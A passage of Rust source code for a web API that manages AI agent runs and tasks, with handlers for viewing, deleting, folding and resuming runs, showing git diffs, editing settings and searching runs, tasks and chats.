3303 source_link: source_link(&task.source),
3304 status: task.status.as_str(),
3305 attempts: task.attempts,
3306 max_attempts,
3307 is_latest,
3308 latest,
3309 closed_by_hand: done && finished_by.is_none(),
3310 finished_by,
3311 }
3312}
3313
3314#[derive(Debug, Serialize)]
3316struct LatestAttempt {
3317 id: String,
3318 short: String,
3319 resolved: bool,
3330 status: RunStatus,
3333 done: bool,
3335}
3336
3337#[derive(Debug, Default, Serialize)]
3339struct RunProseMd {
3340 advice_md: Option<AdviceMd>,
3342 candidate_summaries_md: Vec<Vec<md::Node>>,
3344 reviews_md: Vec<RoundMd>,
3346}
3347
3348#[derive(Debug, Default, Serialize)]
3349struct AdviceMd {
3350 synthesis: Vec<md::Node>,
3351 approaches: Vec<Vec<md::Node>>,
3353}
3354
3355#[derive(Debug, Default, Serialize)]
3356struct RoundMd {
3357 reviewers: Vec<ReviewerMd>,
3359 reconsideration: Vec<Vec<md::Node>>,
3361 fix: Option<FixMd>,
3362}
3363
3364#[derive(Debug, Default, Serialize)]
3365struct ReviewerMd {
3366 summary: Vec<md::Node>,
3367 findings: Vec<Vec<md::Node>>,
3369}
3370
3371#[derive(Debug, Default, Serialize)]
3372struct FixMd {
3373 notes: Vec<md::Node>,
3374 rejected: Vec<Vec<md::Node>>,
3376}
3377
3378fn run_prose_md(state: &RunState) -> RunProseMd {
3380 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3381 RunProseMd {
3382 advice_md: state.advice.as_ref().map(|a| AdviceMd {
3383 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3384 approaches: a
3385 .records
3386 .iter()
3387 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3388 .collect(),
3389 }),
3390 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3391 reviews_md: state
3392 .reviews
3393 .iter()
3394 .map(|round| RoundMd {
3395 reviewers: round
3396 .reviews
3397 .iter()
3398 .map(|rec| ReviewerMd {
3399 summary: nodes(&rec.summary),
3400 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3401 })
3402 .collect(),
3403 reconsideration: round
3404 .reconsideration
3405 .iter()
3406 .map(|rv| nodes(&rv.reason))
3407 .collect(),
3408 fix: round.fix.as_ref().map(|fix| FixMd {
3409 notes: nodes(&fix.notes),
3410 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3411 }),
3412 })
3413 .collect(),
3414 }
3415}
3416
3417impl RunDetailView {
3418 fn of(
3419 state: RunState,
3420 waiting: bool,
3421 live: crate::run::Liveness,
3422 superseded_by: Option<String>,
3423 latest_attempt: Option<LatestAttempt>,
3424 task: Option<TaskRef>,
3425 ) -> Self {
3426 let display_status = run_display_status(&state, waiting, live);
3427 let stop_reason = crate::stop_reason::of(
3428 &state,
3429 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
3430 );
3431 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
3432 Self {
3433 stop_reason,
3434 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
3435 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3436 prose_md: run_prose_md(&state),
3437 origin_label: crate::run::origin_label(state.origin.as_ref()),
3438 live,
3439 unmerged_by_design: state.unmerged_by_design(),
3440 waiting,
3441 display_status,
3442 badge_status,
3443 done: state.status.done(),
3444 superseded_by,
3445 latest_attempt,
3446 task,
3447 state,
3448 }
3449 }
3450}
3451
3452async fn run_detail(
3453 State(ui): State<Arc<Ui>>,
3454 Path(id): Path<String>,
3455) -> ApiResult<Json<RunDetailView>> {
3456 blocking(move || {
3457 let id = resolve_run(&ui.runs, &id)?;
3458 let state = read_run(&ui.runs, &id)?;
3459 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3460 let live = state.liveness(daemon_claims);
3461 let waiting = !ui.questions.open_for(&id).is_empty();
3462 let superseded_by = state
3463 .pr_taken_over_by
3464 .clone()
3465 .or_else(|| ui.queue.superseded_by(&id))
3466 .as_deref()
3467 .map(crate::run::short_of)
3468 .map(str::to_owned);
3469 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3473 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3474 short: head.short().to_owned(),
3475 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3476 status: head.status,
3477 done: head.status.done(),
3478 id: head.id,
3479 })
3480 });
3481 let max_attempts = daemon::Opts::default().max_attempts;
3482 let task = ui
3483 .queue
3484 .list()
3485 .into_iter()
3486 .find(|t| t.runs.contains(&id))
3487 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3488 Ok(Json(RunDetailView::of(
3489 state,
3490 waiting,
3491 live,
3492 superseded_by,
3493 latest_attempt,
3494 task,
3495 )))
3496 })
3497 .await
3498}
3499
3500async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3509 let (id, unreadable) = {
3510 let ui = Arc::clone(&ui);
3511 blocking(move || {
3512 let id = resolve_run(&ui.runs, &id)?;
3513 match read_run(&ui.runs, &id) {
3514 Ok(state) => {
3515 let in_flight =
3516 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3517 state
3518 .ensure_can_delete(in_flight)
3519 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3520 let dir = ui.runs.join(&id);
3521 std::fs::remove_dir_all(&dir)
3522 .with_context(|| format!("remove run directory {}", dir.display()))?;
3523 Ok((id, false))
3524 }
3525 Err(_) => {
3526 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3530 return Err(ApiError::conflict(format!(
3531 "run {id} is being worked on by a live daemon right now"
3532 )));
3533 }
3534 Ok((id, true))
3535 }
3536 }
3537 })
3538 .await?
3539 };
3540 if unreadable {
3541 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3542 .await
3543 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3544 }
3545 let ui = Arc::clone(&ui);
3546 let done = id.clone();
3547 blocking(move || {
3548 ui.questions.abandon_for_run(
3551 &done,
3552 &format!("run {done} was deleted, so nothing is waiting for this answer"),
3553 )?;
3554 Ok(())
3555 })
3556 .await?;
3557 Ok(StatusCode::NO_CONTENT)
3558}
3559
3560async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3584 let (id, state) = {
3585 let ui = Arc::clone(&ui);
3586 blocking(move || {
3587 let id = resolve_run(&ui.runs, &id)?;
3588 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3589 return Err(ApiError::conflict(format!(
3590 "run {id} is being worked on by a live daemon right now"
3591 )));
3592 }
3593 let state = read_run(&ui.runs, &id).ok();
3594 Ok((id, state))
3595 })
3596 .await?
3597 };
3598 let removed = match state {
3599 Some(mut state) => {
3600 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3601 .await
3602 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3603 if removed.is_empty() {
3608 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3609 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3610 }
3611 removed
3612 }
3613 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3614 .await
3615 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3616 };
3617 Ok(Json(FoldView {
3618 run: id,
3619 removed_count: removed.len(),
3620 removed,
3621 }))
3622}
3623
3624#[derive(Debug, Serialize)]
3626struct FoldView {
3627 run: String,
3628 removed: Vec<String>,
3630 removed_count: usize,
3631}
3632
3633#[derive(Debug, Deserialize)]
3636struct FoldMergedBody {
3637 #[serde(default)]
3638 pr_url: String,
3639}
3640
3641async fn run_fold_merged(
3661 State(ui): State<Arc<Ui>>,
3662 Path(id): Path<String>,
3663 Json(body): Json<FoldMergedBody>,
3664) -> ApiResult<Json<FoldMergedView>> {
3665 let pr_url = body.pr_url.trim().to_owned();
3666 if pr_url.is_empty() {
3667 return Err(ApiError::bad_request("pr_url is required"));
3668 }
3669 let (id, mut state) = {
3670 let ui = Arc::clone(&ui);
3671 blocking(move || {
3672 let id = resolve_run(&ui.runs, &id)?;
3673 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3674 return Err(ApiError::conflict(format!(
3675 "run {id} is being worked on by a live daemon right now"
3676 )));
3677 }
3678 let state = read_run(&ui.runs, &id)?;
3679 Ok((id, state))
3680 })
3681 .await?
3682 };
3683 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3684 .await
3685 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3686 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3687 .await
3688 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3689 Ok(Json(FoldMergedView {
3690 run: id,
3691 before: before.as_str().to_owned(),
3692 after: after.as_str().to_owned(),
3693 removed,
3694 }))
3695}
3696
3697#[derive(Debug, Serialize)]
3699struct FoldMergedView {
3700 run: String,
3701 before: String,
3703 after: String,
3705 removed: Vec<String>,
3707}
3708
3709async fn run_resume(
3729 State(ui): State<Arc<Ui>>,
3730 Path(id): Path<String>,
3731) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3732 let (id, state) = {
3733 let ui = Arc::clone(&ui);
3734 blocking(move || {
3735 let id = resolve_run(&ui.runs, &id)?;
3736 let state = read_run(&ui.runs, &id)?;
3737 Ok((id, state))
3738 })
3739 .await?
3740 };
3741 if let Some(to) = state
3742 .pr_taken_over_by
3743 .as_ref()
3744 .or(state.released_to.as_ref())
3745 {
3746 return Err(ApiError::conflict(format!(
3747 "run {} can no longer be resumed: its pull request or worktree ownership moved to run {}.",
3748 state.short(),
3749 crate::run::short_of(to)
3750 )));
3751 }
3752 if !state.status.resumable() {
3753 return Err(ApiError::conflict(format!(
3754 "run {} is `{}`, and only a stalled or blocked run can be resumed",
3755 state.short(),
3756 status_word(state.status)
3757 )));
3758 }
3759 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3764 .into_iter()
3765 .next()
3766 {
3767 return Err(ApiError::conflict(format!(
3768 "the loop is running run {} right now; stop it first, or wait for \
3769 it to finish, before resuming a run by hand.",
3770 crate::run::short_of(&work.run)
3771 )));
3772 }
3773 let _resume = ui.begin_resume(&id)?;
3774
3775 let queued = RunSummary::of(
3778 &state,
3779 !ui.questions.open_for(&id).is_empty(),
3780 state.liveness(false),
3781 );
3782 let run = id.clone();
3783 tokio::spawn(async move {
3784 let _resume = _resume;
3785 match crate::graph::Runner::resume(&run) {
3786 Ok(mut runner) => {
3787 if let Err(e) = runner.execute().await {
3788 tracing::warn!("resume of run {run} stopped: {e:#}");
3789 }
3790 }
3791 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3794 }
3795 });
3796 Ok((StatusCode::ACCEPTED, Json(queued)))
3797}
3798
3799async fn run_report(
3800 State(ui): State<Arc<Ui>>,
3801 Path(id): Path<String>,
3802) -> ApiResult<impl IntoResponse> {
3803 let text = blocking(move || {
3804 let id = resolve_run(&ui.runs, &id)?;
3805 let state = read_run(&ui.runs, &id)?;
3809 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3810 let live = state.liveness(daemon_claims);
3811 Ok(format!(
3812 "{}{}",
3813 report::run(&state),
3814 report::active_seats(&state, live)
3815 ))
3816 })
3817 .await?;
3818 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3819}
3820
3821async fn run_report_json(
3825 State(ui): State<Arc<Ui>>,
3826 Path(id): Path<String>,
3827) -> ApiResult<Json<crate::report_view::RunReportView>> {
3828 let view = blocking(move || {
3829 let id = resolve_run(&ui.runs, &id)?;
3830 let state = read_run(&ui.runs, &id)?;
3831 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3832 let recovered = state.graft.as_ref().map(|_| {
3834 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
3835 });
3836 Ok(crate::report_view::build_with(
3837 &state,
3838 state.liveness(daemon_claims),
3839 recovered.as_ref(),
3840 ))
3841 })
3842 .await?;
3843 Ok(Json(view))
3844}
3845
3846const GRAFT_DIFF_MAX: usize = 400 * 1024;
3848const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
3850
3851async fn run_graft_diff(
3854 State(ui): State<Arc<Ui>>,
3855 Path(id): Path<String>,
3856) -> ApiResult<impl IntoResponse> {
3857 let (repo, pre, post) = blocking(move || {
3858 let id = resolve_run(&ui.runs, &id)?;
3859 let state = read_run(&ui.runs, &id)?;
3860 let g = state
3861 .graft
3862 .as_ref()
3863 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
3864 let post = g
3865 .post
3866 .clone()
3867 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
3868 Ok((state.repo.clone(), g.pre.clone(), post))
3869 })
3870 .await?;
3871 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
3872 if !hex(&pre) || !hex(&post) {
3873 return Err(ApiError::not_found("the recorded commits are not valid"));
3874 }
3875 let out = tokio::time::timeout(
3876 GRAFT_DIFF_TIMEOUT,
3877 crate::git::git_raw(
3878 &repo,
3879 &[
3880 "diff",
3881 "--no-color",
3882 "--no-ext-diff",
3883 "-M",
3884 &pre,
3885 &post,
3886 "--",
3887 ],
3888 ),
3889 )
3890 .await
3891 .map_err(|_| ApiError::not_found("git diff timed out"))?
3892 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
3893 if out.code != Some(0) {
3894 return Err(ApiError::not_found(
3895 "the recorded commits are no longer in the repository",
3896 ));
3897 }
3898 let mut body = out.stdout;
3899 if body.len() > GRAFT_DIFF_MAX {
3900 let mut cut = GRAFT_DIFF_MAX;
3901 while !body.is_char_boundary(cut) {
3902 cut -= 1;
3903 }
3904 body.truncate(cut);
3905 body.push_str("\n... diff truncated ...");
3906 }
3907 Ok((
3908 [
3909 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
3910 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
3911 ],
3912 body,
3913 ))
3914}
3915
3916#[derive(Debug, Serialize)]
3922struct TaskView {
3923 #[serde(flatten)]
3924 task: Task,
3925 source_label: String,
3926 source_link: Option<SourceLink>,
3927 status_str: &'static str,
3928 instruction_md: Vec<md::Node>,
3932 waits_on: Vec<String>,
3936 stuck_roots: Vec<String>,
3939}
3940
3941impl From<Task> for TaskView {
3942 fn from(task: Task) -> Self {
3943 Self {
3944 source_label: task.source.label(),
3945 source_link: source_link(&task.source),
3946 status_str: task.status.as_str(),
3947 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3948 waits_on: Vec::new(),
3949 stuck_roots: Vec::new(),
3950 task,
3951 }
3952 }
3953}
3954
3955impl TaskView {
3956 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3957 let waits_on = inv.waits_on(&task);
3958 let stuck_roots = inv
3959 .stuck_roots(&task)
3960 .iter()
3961 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3962 .collect();
3963 Self {
3964 waits_on,
3965 stuck_roots,
3966 ..Self::from(task)
3967 }
3968 }
3969}
3970
3971#[derive(Debug, Default, Deserialize)]
3974#[serde(default)]
3975struct ReposQuery {
3976 refresh: u8,
3977}
3978
3979async fn repos_list(
3986 State(ui): State<Arc<Ui>>,
3987 Query(q): Query<ReposQuery>,
3988) -> ApiResult<Json<Vec<repos::Repo>>> {
3989 let refresh = q.refresh != 0;
3990 blocking(move || {
3991 let (cfg, _) = Config::discover(&ui.repo, None)?;
3992 Ok(Json(ui.repos_cache.list(
3993 &cfg.repos.roots,
3994 Duration::from_secs(cfg.repos.scan_ttl),
3995 refresh,
3996 )))
3997 })
3998 .await
3999}
4000
4001#[derive(Debug, Default, Deserialize)]
4003struct SettingsQuery {
4004 repo: Option<PathBuf>,
4005}
4006
4007fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4011 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4012 let paths: Vec<PathBuf> = ui
4013 .machine_config
4014 .iter()
4015 .filter(|p| p.is_file())
4016 .cloned()
4017 .collect();
4018 if paths.is_empty() {
4019 Ok(Config::autodetected())
4020 } else {
4021 Config::load_layers(&paths)
4022 }
4023 });
4024 let mut known = cfg
4025 .map(|cfg| {
4026 ui.repos_cache.list(
4027 &cfg.repos.roots,
4028 Duration::from_secs(cfg.repos.scan_ttl),
4029 refresh,
4030 )
4031 })
4032 .unwrap_or_default();
4033 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4034 if !known.iter().any(|r| r.path == path) {
4035 known.push(repos::Repo {
4036 name: path
4037 .file_name()
4038 .unwrap_or_default()
4039 .to_string_lossy()
4040 .into_owned(),
4041 path,
4042 });
4043 }
4044 known
4045}
4046
4047fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4048 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4049 let canonical = requested.canonicalize().ok();
4050 let mut known = settings_repositories(ui, false);
4051 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4052 if !known.iter().any(matches) {
4053 known = settings_repositories(ui, true);
4054 }
4055 let repo = known
4056 .iter()
4057 .find(|r| matches(r))
4058 .map(|r| r.path.clone())
4059 .ok_or_else(|| ApiError {
4060 status: StatusCode::UNPROCESSABLE_ENTITY,
4061 message: "Choose a known repository from the Settings selector.".to_owned(),
4062 })?;
4063 Ok((repo, known))
4064}
4065
4066async fn settings_get(
4070 State(ui): State<Arc<Ui>>,
4071 Query(q): Query<SettingsQuery>,
4072) -> ApiResult<Json<settings::SettingsView>> {
4073 blocking(move || {
4074 let (repo, known) = settings_context(&ui, q)?;
4075 Ok(Json(settings::view_with_repos(
4076 &repo,
4077 ui.machine_config.as_deref(),
4078 &known,
4079 )))
4080 })
4081 .await
4082}
4083
4084#[derive(Debug, Deserialize)]
4086#[serde(deny_unknown_fields)]
4087struct RolesBody {
4088 revision: String,
4090 #[serde(default)]
4092 roles: std::collections::BTreeMap<String, Vec<String>>,
4093 #[serde(default)]
4097 counts: std::collections::BTreeMap<String, serde_json::Value>,
4098}
4099
4100async fn settings_put_roles(
4106 State(ui): State<Arc<Ui>>,
4107 Query(q): Query<SettingsQuery>,
4108 body: std::result::Result<Json<RolesBody>, JsonRejection>,
4109) -> ApiResult<Json<settings::SettingsView>> {
4110 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4111 blocking(move || {
4112 let (repo, known) = settings_context(&ui, q)?;
4113 settings::save_with_repos(
4114 &repo,
4115 ui.machine_config.as_deref(),
4116 &body.revision,
4117 &body.roles,
4118 &body.counts,
4119 &known,
4120 )
4121 .map(Json)
4122 .map_err(|e| match e {
4123 settings::SaveError::Conflict(m) => ApiError::conflict(m),
4124 settings::SaveError::Refused(m) => ApiError {
4125 status: StatusCode::UNPROCESSABLE_ENTITY,
4126 message: m,
4127 },
4128 settings::SaveError::Internal(m) => ApiError::internal(m),
4129 })
4130 })
4131 .await
4132}
4133
4134async fn queue_list(
4135 State(ui): State<Arc<Ui>>,
4136 Query(q): Query<ListQuery>,
4137) -> ApiResult<Json<Vec<TaskView>>> {
4138 blocking(move || {
4139 let tasks = ui.queue.list();
4140 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
4141 Ok(Json(
4142 tasks
4143 .into_iter()
4144 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
4145 .map(|t| TaskView::with_inventory(t, &inv))
4146 .collect(),
4147 ))
4148 })
4149 .await
4150}
4151
4152const SEARCH_MAX_HITS: usize = 100;
4154const SEARCH_MAX_QUERY: usize = 200;
4156const SEARCH_MAX_TERMS: usize = 8;
4157const SNIPPET_BEFORE: usize = 50;
4159const SNIPPET_AFTER: usize = 110;
4160
4161#[derive(Debug, Deserialize)]
4163struct SearchQuery {
4164 #[serde(default)]
4165 scope: String,
4166 #[serde(default)]
4167 q: String,
4168}
4169
4170#[derive(Debug, Serialize, PartialEq, Eq)]
4173struct SnippetPart {
4174 text: String,
4175 hit: bool,
4176}
4177
4178#[derive(Debug, Serialize)]
4179struct SearchHit {
4180 id: String,
4181 field: String,
4183 snippet: Vec<SnippetPart>,
4184 #[serde(skip_serializing_if = "Option::is_none")]
4188 run: Option<RunSummary>,
4189}
4190
4191#[derive(Debug, Serialize)]
4192struct SearchView {
4193 scope: String,
4194 q: String,
4195 hits: Vec<SearchHit>,
4197 total: usize,
4199 truncated: bool,
4200 unreadable: usize,
4203}
4204
4205fn text_leaves<'a>(
4208 value: &'a serde_json::Value,
4209 field: &'a str,
4210 out: &mut Vec<(&'a str, &'a str)>,
4211) {
4212 match value {
4213 serde_json::Value::String(s) => out.push((field, s)),
4214 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
4215 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
4216 _ => {}
4217 }
4218}
4219
4220fn fold_char(c: char) -> char {
4223 c.to_lowercase().next().unwrap_or(c)
4224}
4225
4226fn search_terms(q: &str) -> Vec<String> {
4228 let mut terms: Vec<String> = Vec::new();
4229 for t in q.split_whitespace() {
4230 let t = t.to_lowercase();
4231 if !terms.contains(&t) {
4232 terms.push(t);
4233 }
4234 }
4235 terms
4236}
4237
4238fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
4241 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
4242 let mut first: Option<usize> = None;
4243 for term in terms {
4244 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
4245 first = Some(first.map_or(at, |f| f.min(at)));
4246 }
4247 let (field, text) = leaves[first?];
4249 Some(SearchHit {
4250 id: String::new(),
4251 field: field.to_owned(),
4252 snippet: snippet_of(text, terms),
4253 run: None,
4254 })
4255}
4256
4257fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
4260 let chars: Vec<char> = text.chars().collect();
4261 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
4262 let needles: Vec<Vec<char>> = terms
4263 .iter()
4264 .map(|t| t.chars().map(fold_char).collect())
4265 .collect();
4266 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
4267 let mut best: Option<(usize, usize)> = None;
4268 for n in needles.iter().filter(|n| !n.is_empty()) {
4269 if n.len() > chars.len() || to == 0 {
4273 continue;
4274 }
4275 let last = (to - 1).min(chars.len() - n.len());
4276 if from > last {
4277 continue;
4278 }
4279 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
4280 && best.is_none_or(|(b, _)| i < b)
4281 {
4282 best = Some((i, i + n.len()));
4283 }
4284 }
4285 best
4286 };
4287 let Some((start, _)) = find(0, chars.len()) else {
4288 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4290 return vec![SnippetPart {
4291 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4292 hit: false,
4293 }];
4294 };
4295 let lo = start.saturating_sub(SNIPPET_BEFORE);
4296 let hi = (start + SNIPPET_AFTER).min(chars.len());
4297 let mut parts: Vec<SnippetPart> = Vec::new();
4298 let mut push = |s: &[char], hit: bool| {
4299 if s.is_empty() {
4300 return;
4301 }
4302 let text: String = s.iter().collect();
4303 match parts.last_mut() {
4304 Some(p) if p.hit == hit => p.text.push_str(&text),
4305 _ => parts.push(SnippetPart { text, hit }),
4306 }
4307 };
4308 if lo > 0 {
4309 push(&['\u{2026}'], false);
4310 }
4311 let mut at = lo;
4312 while at < hi {
4313 match find(at, hi) {
4314 Some((s, e)) => {
4315 push(&chars[at..s], false);
4316 let shown = e.min(hi);
4318 push(&chars[s..shown], true);
4319 at = shown;
4320 }
4321 None => {
4322 push(&chars[at..hi], false);
4323 at = hi;
4324 }
4325 }
4326 }
4327 if hi < chars.len() {
4328 push(&['\u{2026}'], false);
4329 }
4330 let mut prev_space = false;
4333 for p in &mut parts {
4334 let mut out = String::with_capacity(p.text.len());
4335 for c in p.text.chars() {
4336 if c.is_whitespace() {
4337 if !prev_space {
4338 out.push(' ');
4339 }
4340 prev_space = true;
4341 } else {
4342 out.push(c);
4343 prev_space = false;
4344 }
4345 }
4346 p.text = out;
4347 }
4348 parts.retain(|p| !p.text.is_empty());
4349 parts
4350}
4351
4352fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4354where
4355 I: IntoIterator<Item = (String, serde_json::Value)>,
4356{
4357 for (id, doc) in docs {
4358 let mut leaves = Vec::new();
4359 leaves.push(("id", id.as_str()));
4362 text_leaves(&doc, "", &mut leaves);
4363 if let Some(mut hit) = search_document(terms, &leaves) {
4364 view.total += 1;
4365 if view.hits.len() < SEARCH_MAX_HITS {
4366 hit.id = id;
4367 view.hits.push(hit);
4368 }
4369 }
4370 }
4371 view.truncated = view.total > view.hits.len();
4372}
4373
4374fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4381 let opener = talk
4382 .turns
4383 .iter()
4384 .find(|t| t.who == crate::talk::Who::Operator)
4385 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4386 .unwrap_or("");
4387 let title: String = if opener.chars().count() > 96 {
4388 opener.chars().take(95).chain(['\u{2026}']).collect()
4389 } else {
4390 opener.to_owned()
4391 };
4392 let turns: Vec<serde_json::Value> = talk
4393 .turns
4394 .iter()
4395 .map(|t| {
4396 let who = match t.who {
4397 crate::talk::Who::Operator => "operator",
4398 crate::talk::Who::Agent => "agent",
4399 };
4400 serde_json::json!({ who: t.body })
4401 })
4402 .collect();
4403 serde_json::json!({ "title": title, "turns": turns })
4404}
4405
4406async fn search_get(
4413 State(ui): State<Arc<Ui>>,
4414 Query(q): Query<SearchQuery>,
4415) -> ApiResult<Json<SearchView>> {
4416 let query = q.q.trim().to_owned();
4417 if query.is_empty() {
4418 return Err(ApiError::bad_request("q must not be empty"));
4419 }
4420 if query.chars().count() > SEARCH_MAX_QUERY {
4421 return Err(ApiError::bad_request(format!(
4422 "q is longer than {SEARCH_MAX_QUERY} characters"
4423 )));
4424 }
4425 let terms = search_terms(&query);
4426 if terms.len() > SEARCH_MAX_TERMS {
4427 return Err(ApiError::bad_request(format!(
4428 "q has more than {SEARCH_MAX_TERMS} terms"
4429 )));
4430 }
4431 let scope = q.scope;
4432 if scope != "runs" && scope != "tasks" && scope != "chats" {
4433 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4434 }
4435 blocking(move || {
4436 let mut view = SearchView {
4437 scope: scope.clone(),
4438 q: query,
4439 hits: Vec::new(),
4440 total: 0,
4441 truncated: false,
4442 unreadable: 0,
4443 };
4444 if scope == "runs" {
4445 let mut unreadable = 0;
4446 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4450 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4451 match body.and_then(|b| serde_json::from_str(&b).ok()) {
4452 Some(v) => Some((id, v)),
4453 None => {
4454 unreadable += 1;
4455 None
4456 }
4457 }
4458 });
4459 search_docs(&terms, docs, &mut view);
4460 view.unreadable = unreadable;
4461 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4464 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4465 for hit in &mut view.hits {
4466 if let Ok(state) = read_run(&ui.runs, &hit.id) {
4467 hit.run = summarize(
4468 [state],
4469 &open_runs,
4470 &claimed,
4471 &superseded,
4472 |p| probe.borrow_mut().status(p),
4473 |p| probe.borrow_mut().started_at(p),
4474 )
4475 .pop();
4476 }
4477 }
4478 } else if scope == "chats" {
4479 let (talks, unreadable) = ui.talks.list_counting_unreadable();
4480 view.unreadable = unreadable;
4481 search_docs(
4482 &terms,
4483 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4484 &mut view,
4485 );
4486 } else {
4487 let docs = ui.queue.list().into_iter().filter_map(|t| {
4488 let mut v = serde_json::to_value(&t).ok()?;
4489 if let Some(o) = v.as_object_mut() {
4492 o.insert("filed_by".to_owned(), t.source.label().into());
4493 }
4494 Some((t.id, v))
4495 });
4496 search_docs(&terms, docs, &mut view);
4497 }
4498 Ok(Json(view))
4499 })
4500 .await
4501}
4502
4503#[derive(Debug, Serialize)]
4505struct TaskRunView {
4506 n: usize,
4508 id: String,
4509 short: String,
4510 kind: &'static str,
4512 status: Option<&'static str>,
4514 readable: bool,
4516 provisional: bool,
4518 description: String,
4520 outcome: String,
4522 created_at: Option<Timestamp>,
4523 pr: Option<String>,
4524 exit: RunExit,
4526 attempt: AttemptCost,
4528 exit_label: String,
4531 later_pass: Option<usize>,
4534 pass_n: usize,
4538 passes_of_run: usize,
4539 pass: Option<PassView>,
4542 branch: Option<String>,
4544 badge: Option<String>,
4547}
4548
4549#[derive(Debug, Clone, PartialEq, Serialize)]
4551struct PassView {
4552 index: usize,
4553 resumed: bool,
4554 started_at: Timestamp,
4555 ended_at: Option<Timestamp>,
4556 end: &'static str,
4558 cause: Option<crate::run::ParkCause>,
4559 label: String,
4561 cost: Option<crate::queue::PassCost>,
4564}
4565
4566impl PassView {
4567 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
4568 use crate::run::PassEnd;
4569 let (end, cause, label) = match &p.end {
4570 None => ("open", None, "still open".to_owned()),
4571 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
